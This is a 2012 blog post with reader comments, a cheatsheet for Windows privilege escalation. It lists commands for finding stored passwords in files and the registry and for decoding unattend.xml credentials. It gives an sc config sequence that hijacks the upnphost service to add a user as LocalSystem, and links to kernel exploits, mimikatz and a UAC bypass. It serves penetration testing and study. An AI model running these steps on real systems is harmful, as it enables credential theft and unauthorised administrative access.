

# 17th April 2012 Windows Privilege Escalation - a cheatsheet

This is a work in progress. Additions, suggestions and constructive feedback are welcome.

The purpose of these cheatsheets is to, essentially, save time during an attack and study session.

Last modified: Fri Jul 20 12:20:34 EST 2012

## Stored credentials

Search for credentials within:

*c:\unattend.xml*

Unattend credentials are stored in base64 and can be decoded manually with base64:

*user@host \$ base64 -d cABhAHMAcwB3AG8AcgBkAFAAYQBzAHMAdwBvAHIAZAA=*

Metasploit Framework enum\_unattend module and gather credentials module:

[http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum\\_unattend.rb](http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb)

[[http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum\\_unattend.rb](http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb)]

<http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb>

[<http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb>]

*c:\sysprep.inf*

*c:\sysprep\sysprep.xml*

*dir c:\\*vnc.ini /s /b*

*dir c:\\*ultravnc.ini /s /b*

*dir c:\ /s /b | findstr /si \*vnc.ini*

*findstr /si password \*.txt | \*.xml | \*.ini*

*findstr /si pass \*.txt | \*.xml | \*.ini*

Password recovery programs - small - RDP, Mail, IE, VNC, Dialup, Protected Storage...

[http://www.nirsoft.net/password\\_recovery\\_tools.html](http://www.nirsoft.net/password_recovery_tools.html) [[http://www.nirsoft.net/password\\_recovery\\_tools.html](http://www.nirsoft.net/password_recovery_tools.html)]

Dumping cleartext credentials with mimikatz

<http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html> [<http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html>]

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## Query the Windows Registry

### VNC Stored:

```
reg query "HKCU\Software\ORL\WinVNC3\Password"
```

### Windows Autologin:

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

### SNMP Parameters:

```
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

### Putty clear text proxy credentials:

```
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

### Search the registry - copy (pipe) to the clipboard (optional)

```
reg query HKLM /f password /t REG_SZ /s [ |clip]
```

```
reg query HKCU /f password /t REG_SZ /s [ |clip]
```

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### Insecure GUI apps

running as SYSTEM that can open cmd.exe or directories "files, logfiles" etc.

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### Directory permissions

cacls

icacls

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### Sysinternals tools

Check processes and start-up applications with Autoruns and procmon - sysinternals.com

<http://technet.microsoft.com/en-us/sysinternals/bb545027> [<http://technet.microsoft.com/en-us/sysinternals/bb545027>]

### Services pointing to writeable locations

- \*- orphaned installs - applications not installed that still exist in startup
- \*- replacing unknown dlls
- \*- PATH directories with weak permissions - overwrites possible?

### sysinternals tools

```
accesschk.exe -uwcqv *
```

- \*- unsecured processes
- \*- steal process/thread tokens (a'la incognito)

\*- hijack handles for write access

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## Change the upnp service binary

<http://lanmaster53.com> [<http://lanmaster53.com/>]

```
sc qc upnphostsc config upnphost binpath= "net user <username> /add"  
sc config upnphost obj= ".\LocalSystem" password =""  
net stop upnphost  
net start upnphost
```

May work with other services if permissions permit

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## Vulnerability Privilege Escalation

### Windows kernel privilege escalation

#### KiTrap0D

<http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip>  
[<http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip>]

### Tomcat Windows privilege escalation

<http://www.abyssec.com/blog/2008/11/27/tomcat-jrun-privilege-escalation-windows>  
[<http://www.abyssec.com/blog/2008/11/27/tomcat-jrun-privilege-escalation-windows>]

### NtGdiEnableEudc Exploit (MS11-011) - windows XP SP0-3

16262,platforms/windows/dos/16262., "MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC",2011-03-01,"Nikita Tarakanov",windows,dos,0

<http://www.securityfocus.com/bid/46136/exploit> [<http://www.securityfocus.com/bid/46136/exploit>]  
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0045> [<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0045>]  
<http://downloads.securityfocus.com/vulnerabilities/exploits/46136.c>  
[<http://downloads.securityfocus.com/vulnerabilities/exploits/46136.c>]  
<http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html> [<http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html>]  
<http://www.microsoft.com/technet/security/Bulletin/MS11-011.msp>  
[<http://www.microsoft.com/technet/security/Bulletin/MS11-011.msp>]

### Service Tracing Key (MS10-059)

<http://www.securityfocus.com/bid/42269/exploit> [<http://www.securityfocus.com/bid/42269/exploit>]  
<http://www.argeniss.com/research/ARGENISS-ADV-081002.txt> [<http://www.argeniss.com/research/ARGENISS-ADV-081002.txt>]  
<http://www.securityfocus.com/data/vulnerabilities/exploits/Chimichurri.zip>  
[<http://www.securityfocus.com/data/vulnerabilities/exploits/Chimichurri.zip>]  
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2554> [<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2554>]

## Registry Symlink Vuln (MS10-021)

No Public Exploit - VuPEN membership only

## Ryujin - ADF.sys priv esc - ms11-080

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2005> [<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2005>]

<http://www.exploit-db.com/exploits/18176> [<http://www.exploit-db.com/exploits/18176>]

pyinstaller - <http://www.pyinstaller.org/> [<http://www.pyinstaller.org/>]

py2exe - <http://www.py2exe.org/> [<http://www.py2exe.org/>]

## UAC Bypass priv esc

<http://www.exploit-db.com/exploits/15609> [<http://www.exploit-db.com/exploits/15609>]

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4398> [<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4398>]

<http://www.microsoft.com/technet/security/Bulletin/MS11-011.msp>

[<http://www.microsoft.com/technet/security/Bulletin/MS11-011.msp>]

<http://www.securityfocus.com/bid/45045/info> [<http://www.securityfocus.com/bid/45045/info>]

Additional References and sources and other links:


Encyclopaedia of Windows Privilege escalation - Brett Moor

<http://www.ruxcon.org.au/2011-talks/encyclopaedia-of-windows-privilege-escalation/>

[<http://www.ruxcon.org.au/2011-talks/encyclopaedia-of-windows-privilege-escalation/>]

Posted 17th April 2012 by [Tim Arneaud](#)

Labels: [cheatsheet](#), [exploit](#), [priv esc](#), [privilege escalation](#), [security](#), [sysinternals](#), [windows](#)

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**sean** [Wednesday, 9 May 2012 at 14:41:00 BST](#)

Thanks for putting this list together, Tim! You know how WinPE will store a local admin password in an answer file (unattend.xml) in an encrypted form...do you know of any tools/techniques for cracking these hashes? I've scoured various forums and Microsoft documentation and I can't even find the algorithm that's used...

[Reply](#)



**ovid** [Monday, 14 May 2012 at 02:14:00 BST](#)

Hi Sean,

Thanks for your comment. I wasn't able to locate anything definitive, either. It seems that many tend to overlook hashing passwords and leave it in plain text (hence why it is here in this sheet).

It was pointed out that the password was not encrypted but hashed and that it was easy to crack; although when I investigated, the hash wasn't able to be identified by the tools i tried.

In time, it might be worth following up on this sometime as it is a file that is easily overlooked in deployments :)

[Reply](#)**Ben Campbell** [Wednesday, 18 July 2012 at 23:06:00 BST](#)

Good list, I definitely need to save it :)

Unattend is just Base64?

Recent metasploit module retrieves and decodes it:

[http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum\\_unattend.rb](http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb)

Also you can gather creds from the DC group policy preferences on any domain member:

<http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb>

[Reply](#)[Replies](#)**ovid** [Friday, 20 July 2012 at 03:26:00 BST](#)

Hi Ben,

Huh...good find! I \*thought\* I'd checked base64 but I guess not ^\_^  
Honestly, I haven't look that deeply into unattend, though.

From some of the example unattend.xml hashes I found online,  
base64 certainly decodes...

Thanks for the links and correction - cheatsheet now updated to  
include.

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